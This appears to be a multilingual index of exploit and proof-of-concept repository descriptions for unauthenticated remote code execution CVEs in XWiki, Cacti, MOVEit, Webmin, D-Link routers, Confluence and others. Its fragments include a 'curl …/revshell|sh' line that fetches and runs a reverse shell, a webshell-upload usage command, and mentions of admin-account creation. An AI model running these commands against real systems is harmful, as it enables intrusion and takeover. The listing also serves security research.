xwiki-cve-2025-24893

XWiki SolrSearch RCE بدون مصادقة CVE-2025-24893 المساهمون الدفعة الرابعة من مدرسة القبعة البيضاء، الفصل 25: إم دو-يون @endusdksla الملخص يقوم XWiki بتحليل صيغة الويكي والماكرو وتفسيرها على الخادم ثم عرضها. المشكلة أن صفحة Main.SolrSearch مفتوحة للزوار، وفي نفس الوقت يتم تقييم المعامل text المُدخل...

CVE-2023-35803

CVE-2023-35803 - Nicht authentifizierte RCE in Extreme Networks/Aerohive Wireless Access Points PoC für ARM-basierte Access Points mit HiveOS/IQ Engine "curl :8000/revshell|sh" Writeup hier: https://research.aurainfosec.io/pentest/bee-yond-capacity/...

CVE-2024-7627

Exploit para CVE-2024-7627 — Exploit de RCE não autenticado no Bit File Manager WordPress 📌 Descrição Este repositório contém um exploit de prova de conceito PoC para CVE-2024-7627 , uma vulnerabilidade crítica de Execução Remota de Código RCE não autenticada no plugin WordPress Bit File Manager...

confluence-hack

Confluence Hack CVE-2023-22515 exploit.py Exploit, um einen neuen Admin-Benutzer zu erstellen Kompromittiertes Audit-Log: Als Referenz diente: https://packetstormsecurity.com/files/175225/Atlassian-Confluence-Unauthenticated-Remote-Code-Execution.html und https://github.com/Chocapikk/CVE-2023-225...

CVE-2019-16920-MassPwn3r

Exploit 0day para vários roteadores D-Link A vulnerabilidade foi encontrada na firmware mais recente dos seguintes produtos D-Link: DIR-655 DIR-866L DIR-652 DHP-1565 Descrição Atual A execução remota de código não autenticada ocorre em produtos D-Link como DIR-655C, DIR-866L, DIR-652 e DHP-1565. ...

CVE-2022-46169

CVE-2022-46169 POC Questo è uno script Proof of Concept POC per la vulnerabilità CVE-2022-46169 che interessa Cacti versione 1.2.22. Descrizione La vulnerabilità CVE-2022-46169 consente un'iniezione di comandi non autenticata nelle versioni di Cacti fino alla 1.2.22, al fine di ottenere...

CVE-2019-9653

CVE-2019-9653 التاريخ الإفصاح: 03/11/2019 آخر تحديث: 03/15/2019 الملخص NUUO Inc. هي شركة تقدم حلول مراقبة تعتمد على الفيديو. لديها العديد من منتجات مسجلات الشبكة NVR لعملاء مختلفين باحتياجات متنوعة. هذه المسجلات هي أنظمة تسجيل فيديو مدمجة تعمل بنظام Linux ويمكنها إدارة عدة كاميرات. في الوقت الحال...

CVE-2021-45232-RCE

CVE-2021-45232 CVE-2021-45232 Apache APISIX Dashboard API unberechtigter RCE Version: 2.10.1 Fofa: Titel="Apache APISIX Dashboard" PoC: root@kitploit: IP:PORT/apisix/admin/migrate/export...

CVE-2026-39938

Rapporto di vulnerabilità: Cacti RCE non autenticato su Graph Image Ricercatore: K | Prodotto: Cacti ≤ 1.2.30 | CVE: CVE-2026-39938 01 Riepilogo della vulnerabilità...

MoveIT-CVE-2023-34362-RCE

CVE-2023-34362: MOVEit Transfer RCE non autenticato Per una descrizione tecnica completa della vulnerabilità e dello sfruttamento, leggi la nostra Analisi di AttackerKB. Utilizzo ruby move.rb ruby move.rb 192.168.86.111 + Avvio. target='https://192.168.86.111'. + Ottenuto token di sessione inizia...

webmin_1.920

CVE-2019-15107 Webmin 1.920 अप्रमाणित रिमोट कमांड निष्पादन CVE-2019-15107 Webmin 1.920 अप्रमाणित रिमोट कमांड निष्पादन के लिए एक python3 स्क्रिप्ट जो फ़ायरवॉल चकमा देने के लिए mkfifo का उपयोग करके एक रिवर्स शेल या एक स्यूडो इंटरैक्टिव शेल बनाती है आरंभ करना प्रोग्राम निष्पादित करना python3 के साथ...

CVE-2025-69457

CVE-2025-69457 – Responsive Tourism Website 3.1 Remote Code Execution RCE Unauthenticated WriteUp CVE-2025-69457 – ExploitDB 50049...

CVE-2023-43208

CVE-2023-43208 — Mirth Connect RCE CVE-2023-43208 के लिए प्रूफ-ऑफ-कॉन्सेप्ट शोषण, Mirth Connect के 4.4.1 से पहले के संस्करणों में एक अप्रमाणित रिमोट कोड निष्पादन भेद्यता। विवरण Mirth Connect एक व्यापक रूप से तैनात ओपन-सोर्स हेल्थकेयर इंटीग्रेशन इंजन है। यह भेद्यता /api/users एंडपॉइंट के माध्यम से...

CVE-2026-48907

🚨 CVE-2026-48907 - JCE Joomla Content Editor अनधिकृत दूरस्थ कोड निष्पादन ⚠️ JCE Joomla Content Editor में महत्वपूर्ण अनधिकृत RCE एक महत्वपूर्ण अभिगम नियंत्रण भेद्यता जो अनधिकृत हमलावरों को JCE चला रहे असुरक्षित Joomla इंस्टॉलेशन से समझौता करने की अनुमति देती है। 📖 अवलोकन CVE-2026-48907 Joomla...

CVE-2025-55182

CVE-2025-55182 Preuve de concept pour CVE-2025-55182, une RCE critique non authentifiée dans les composants serveur React. ⚠️ Avertissement Ce document est fourni strictement à des fins éducatives, défensives et de recherche en sécurité autorisée. Ne PAS tenter d'exploiter des systèmes ou...

Vuln_Exploitation_MegaQuagga_Pentest

भेद्यता शोषण — MegaQuagga प्रवेश परीक्षण रिपोर्ट विश्लेषक: Samuel Weiss संगठन: 0x2A Security तारीख: 20 अप्रैल, 2026 ग्राहक: MegaQuagga Publishing लक्ष्य: www.megaquagga.local वर्गीकरण: गोपनीय अवलोकन यह परियोजना MegaQuagga Publishing वेब वातावरण के विरुद्ध किए गए एक संरचित प्रवेश परीक्षण का...

CVE-2026-54569 SENAITE.CORE: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') and Missing Authorization in senaite.core

SENAITE.CORE is the core framework for the SENAITE laboratory information management system. From 2.0.0 to 2.6.0, the SENAITE.CORE JSON API permits unauthenticated remote code execution through a two-request chain involving missing authorization and unsafe evaluation. The state-changing routes in...

CVE-2024-3400-Compromise-Checker

Verificador de Comprometimento CVE-2024-3400 Um script bash muito simples para verificar evidências de comprometimento relacionadas à CVE-2024-3400 em firewalls Palo Alto. Projetado para fornecer uma triagem inicial rápida de dispositivos potencialmente impactados por meio da verificação da...

CVE-2022-1388

CVE-2022-1388 Impatto Questa vulnerabilità potrebbe consentire a un utente malintenzionato non autenticato con accesso di rete al sistema BIG-IP tramite la porta di gestione e/o gli indirizzi IP self di eseguire comandi arbitrari di sistema, creare o eliminare file o disabilitare servizi. Non vi ...

CVE-2022-24990

CVE-2022-24990 CVE-2022-24990 TerraMaster TOS RCE non autenticata tramite istanziazione di oggetti PHP Utilizzo Rilevamento della vulnerabilità. root@kitploit: python CVE-2022-24990.py -u http://127.0.0.1:8080 Carica una webshell PHP. root@kitploit: python CVE-2022-24990.py -a http://127.0.0.1:80...